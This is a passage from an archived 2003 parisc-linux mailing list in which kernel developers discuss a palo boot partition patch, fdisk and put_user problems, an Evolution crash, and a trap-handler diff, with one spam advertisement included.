I don't know much ext2/3 details, but is there a way that a fsck
could mess things up? Eg. not an ordinary fsck, but if the user
runs it manually with special options?

I suppose the same technique could be also used for other filesystems
palo supports (in the future).

> Attached is a preliminary patch for you to see what you think.
>
> Ultimately, it should mean we can get palo to operate much more like
> grub (using a palo.conf file within the palo partition itself for
> instance).

That would be a logical consequence.

Very nice!


Keep up the good work,
  Max


From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sat, 08 Nov 2003 10:59:20 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <3FACCC88.4010404@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622937 1121 80.91.229.3 (22 Nov 2014 02:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:17 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 03:59:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD2C6484B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 03:59:09 -0700 (MST)
Original-Received: from [62.235.120.236] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIQo7-0001rR-TB; Sat, 08 Nov 2003 11:59:08 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108015946.GC19436@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20023


Grant Grundler wrote:
> On Fri, Nov 07, 2003 at 06:52:58PM +0100, Joel Soete wrote:
> 
>>>[...] I bet it's calling BLKGETSIZE64 and our put_user() is broken.
>>
>>I trusted that Grant merged the same code in 2.4 and 2.6 for put_user() some
>>time ago?
> 
> 
> put_user()?
> I don't recall.
> 
> 
>>Is it the same with 64bits kernels?
> 
> 
> Can you point me at the modified 2.4 file and I'll check.
> 
IIRC include/asm-parisc/uaccess.h

I do not work more on this stuff because I am awaiting patch that 
Randolph (always iirc) should still have in its tree to change the 
management of exception (which Matthew assumes to never occur in kernel 
mode iirc) (sorry but I just spend half an hour to find back this thread 
but without success :( )

hth,
	Joel




From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
 do_page_fault?]
Date: Sat, 08 Nov 2003 12:46:28 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <3FACE5A4.7070003@tiscali.be>
References: <3F969FFE00005DB3@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622937 1123 80.91.229.3 (22 Nov 2014 02:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:17 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 05:46:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2091A4841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 05:46:18 -0700 (MST)
Original-Received: from [62.235.120.236] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AISTn-0005Wf-Uc; Sat, 08 Nov 2003 13:46:16 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3F969FFE00005DB3@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20024

Hello Carlos,

More and more strange behaviour:

after my weekly apt-get dist-upgrade i relaunch evolution,
it hang again at the same point with usual message:
evolution (pid 2999): Protection id trap (code 27)
[..]

But if I launch it a second time no more pb???

Very strange isn't it?

Joel 


Joel Soete wrote:
> Carlos,
> 
> Yes it didn't crash anymore :)
> 
> But I didn't have more opportunity to reboot severall time this c110 to make
> more test (the only difference between the two previous one: the first was
> a reboot, the second was a boot? and absolutley no other changes).
> 
> Cheers,
>     Joel
> 
> 
> 
>>-- Original Message --
>>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>>To: Joel Soete <soete.joel@tiscali.be>
>>Cc: parisc-linux@parisc-linux.org
>>Date: Sun, 2 Nov 2003 15:22:28 -0500
>>Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
>>do_page_fault?]
>>
>>
>>On Sat, Nov 01, 2003 at 11:27:20PM +0000, Joel Soete wrote:
>>Hi Carlos,
>>
>>I don't understand anymore anything.
>>
>>This afternoon i recompile k 2.4.23-pre9-pa13 + Randolph patch to test
>>it. (Ok)
>>
>>So I launch evolution which crash at 
>>he same place as usual.
>>
>>After the diner I restart this c110 with this new kernel but this time,
>>no more "do_page_fault() pid=805 command='evolution' type=7". I restart
>>it severall time no means to reproduce anymore :(
> 
> 
> So it doesn't cras
> 
>>anymore? :) 
> 
> 
> c.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> 
> -------------------------------------------------------------------------
> Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.
> 
> http://reg.tiscali.be/default.asp?lg=fr
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Sat, 8 Nov 2003 10:52:47 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20031108155247.GC21080@systemhalted>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622938 1127 80.91.229.3 (22 Nov 2014 02:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 08:57:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 567644841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 08:57:47 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIVOK-0005Wo-00; Sat, 08 Nov 2003 10:52:48 -0500
Content-Disposition: inline
In-Reply-To: <3FACE5A4.7070003@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20025

On Sat, Nov 08, 2003 at 12:46:28PM +0000, Joel Soete wrote:
> More and more strange behaviour:
> 
> after my weekly apt-get dist-upgrade i relaunch evolution,
> it hang again at the same point with usual message:
> evolution (pid 2999): Protection id trap (code 27)
> [..]
> 
> But if I launch it a second time no more pb???
> 
> Very strange isn't it?

Not at all! Anything is possible with some imagination :)
If it's repeatable then we can catch it. Stick evolution under gdb and
remember to preload a debugging libc and catch it when it crashes. Send
the 'bt full' back to the list for analysis.

c.


From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Allow palo partition to be mounted as ext2
Date: Sat, 8 Nov 2003 11:09:19 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20031108160919.GD21080@systemhalted>
References: <1068254037.2120.93.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622938 1129 80.91.229.3 (22 Nov 2014 02:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:18 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 09:14:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE3404841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 09:14:15 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIVeJ-0005Z6-00; Sat, 08 Nov 2003 11:09:19 -0500
Content-Disposition: inline
In-Reply-To: <1068254037.2120.93.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20026

On Fri, Nov 07, 2003 at 07:13:55PM -0600, James Bottomley wrote:
> It can be a bit of a pain having both a palo partition and a /boot
> partition on the root disc (and both < 2GB), so this patch allows the
> palo partition to be mounted as an ordinary ext2/ext3 filesystem
> (ideally as /boot).
> 
> It does this by creating an ext2/3 filesystem in the palo partition but
> leaving a hole for the iplboot program (by telling the filesystem the
> blocks are bad).  The kernels can be booted from this filesystem by
> specifying 0/ as the partition as usual.
> 
> Attached is a preliminary patch for you to see what you think.
> 
> Ultimately, it should mean we can get palo to operate much more like
> grub (using a palo.conf file within the palo partition itself for
> instance).
> 
> The diffs are against the palo cvs tree.

Great work James! I like the addition of verbose to the command line.
This definately gets us a step closer to behaving or perhaps integrating
palo into grub. The only suggestion I have is that someone should
remember to update palo's debian/ files to reflect the fact that you
rely on 'e2fsprogs' for mke2fs. The computer scientist in me wants to
distinguish between failure cases when mke2fs exists and returns an
error code versus it doesn't exist on the $PATH (e.g. check if mke2fs
runs without params fist "/sbin/mke2fs -V").

c.



From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sat, 8 Nov 2003 12:48:04 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20031108194804.GA28929@colo.lackof.org>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622938 1131 80.91.229.3 (22 Nov 2014 02:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:18 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 12:48:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 026934841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 12:48:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2A29E298037; Sat,  8 Nov 2003 12:48:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29197-03; Sat, 8 Nov 2003 12:48:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 94C52298032; Sat,  8 Nov 2003 12:48:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FACCC88.4010404@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20027

On Sat, Nov 08, 2003 at 10:59:20AM +0000, Joel Soete wrote:
> IIRC include/asm-parisc/uaccess.h

get/put user stuff looks the same to me in both 2.4/2.6 cvs.
I'm likely to forget forward porting 2.4 changes to 2.6 but I thought
I got that in the last round. If someone trolls the parisc-linux-cvs
archive and compares my commits for the past 2-3 monthes...

thanks,
grant


From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shelby Kirkland" <yhxyuv69@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PROTECT YOUR CHILDREN From Offensive Language On Your TV With ProtecTV... se
Date: Sat, 08 Nov 03 18:12:39 GMT
Lines: 48
Approved: news@gmane.org
Message-ID: <05wp77$6-k-l-9v-ww-2823$$24@gv15704w5>
Reply-To: "Shelby Kirkland" <yhxyuv69@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="783_F._.3E506FE.300D7F_7"
X-Trace: ger.gmane.org 1416622939 1135 80.91.229.3 (22 Nov 2014 02:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 13:17:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id B56A54841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 13:17:41 -0700 (MST)
Original-Received: from cliente-217216019034.cm128.senpa.supercable.es (cliente-217216019034.cm128.senpa.supercable.es [217.216.19.34])
	by cuprel1.hp.com (Postfix) with SMTP id 85003EB5
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 12:17:37 -0800 (PST)
Original-Received: from (HELO pdrf) [126.150.144.182] by cliente-217216019034.cm128.senpa.supercable.es; Sat, 08 Nov 2003 18:12:39 -0200
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20028

--783_F._.3E506FE.300D7F_7
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Protect Your Children With ProtecTV.

ProtecTV gives you the power to block the cursing and offensive language c=
oming into your home through television and video.

ProtecTV filters out more than 400 offensive words.

ProtecTV works with your TV, VCR, Satellite, Cable Box and DVD player.

ProtecTV is easy to connect.

Get ProtectTV Today - www.bargaindeals.bz

Go here if you wish to be excluded from our advertising - www.XhenTronic.n=
et?unsub=3D10010000858361131




















ivtko pjuj
eh   f wog ccsedfk
cwlohl

fs ckpoqznhedctxzqidklz

--783_F._.3E506FE.300D7F_7--



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Sat, 8 Nov 2003 15:58:25 -0500
Lines: 103
Approved: news@gmane.org
Message-ID: <20031108205825.GI21080@systemhalted>
References: <20031108205955.7039B49402D@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622939 1139 80.91.229.3 (22 Nov 2014 02:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:19 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 14:03:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D5564841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 14:03:20 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIaA5-00068U-00; Sat, 08 Nov 2003 15:58:25 -0500
Content-Disposition: inline
In-Reply-To: <20031108205955.7039B49402D@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20029

On Sat, Nov 08, 2003 at 01:59:55PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	03/11/08 13:59:55
> 
> Modified files:
> 	arch/parisc/kernel: traps.c 
> 
> Log message:
> Cleanup trap handling for codes 13,15,16 and 17. In particular forward port 13, and make 17 non-fatal to the kernel (only the process should die).

tausq,

Here's the trap handler cleanup I promised. Please comment.

c.

Index: Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/Makefile,v
retrieving revision 1.83
diff -u -p -r1.83 Makefile
--- Makefile	2 Nov 2003 04:40:49 -0000	1.83
+++ Makefile	8 Nov 2003 20:53:32 -0000
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 6
 SUBLEVEL = 0
-EXTRAVERSION = -test9-pa4
+EXTRAVERSION = -test9-pa5
 
 # *DOCUMENTATION*
 # To see a list of typical targets execute "make help"
Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/traps.c,v
retrieving revision 1.10
diff -u -p -r1.10 traps.c
--- arch/parisc/kernel/traps.c	8 Oct 2003 20:52:07 -0000	1.10
+++ arch/parisc/kernel/traps.c	8 Nov 2003 20:53:35 -0000
@@ -557,20 +557,41 @@ void handle_interruption(int code, struc
 		si.si_addr = (void *) regs->iaoq[0];
 		force_sig_info(SIGFPE, &si, current);
 		return;
-
+		
+	case 13:
+		/* Conditional Trap
+		   The condition succees in an instruction which traps 
+		   on condition  */
+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		   the insn pointed to by si_addr */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;
+		
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
 		die_if_kernel("Floating point exception", regs, 0); /* quiet */
 		handle_fpe(regs);
 		return;
-
+		
+	case 15:
+		/* Data TLB miss fault/Data page fault */
+		/* Fall through */
+	case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		   is absent, and hardware can't find it, so we get to cleanup */
+		/* Fall through */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
-		
+		/* TODO: Understand what is meant by the TODO listed
+		         above this one. (Carlos) */
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
+		fault_space = regs->isr;
+		break;
 
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
@@ -580,9 +601,8 @@ void handle_interruption(int code, struc
 			return;
 		}
 		/* Fall Through */
-
-	case 15: /* Data TLB miss fault/Data page fault */
-	case 26: /* PCXL: Data memory access rights trap */
+	case 26: 
+		/* PCXL: Data memory access rights trap */
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;
@@ -638,7 +658,6 @@ void handle_interruption(int code, struc
 			up_read(&current->mm->mmap_sem);
 		}
 		/* Fall Through */

From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
 do_page_fault?]
Date: Sat, 08 Nov 2003 21:11:29 +0000
Lines: 154
Approved: news@gmane.org
Message-ID: <3FAD5C01.7040302@tiscali.be>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be> <20031108155247.GC21080@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622939 1143 80.91.229.3 (22 Nov 2014 02:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 14:11:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
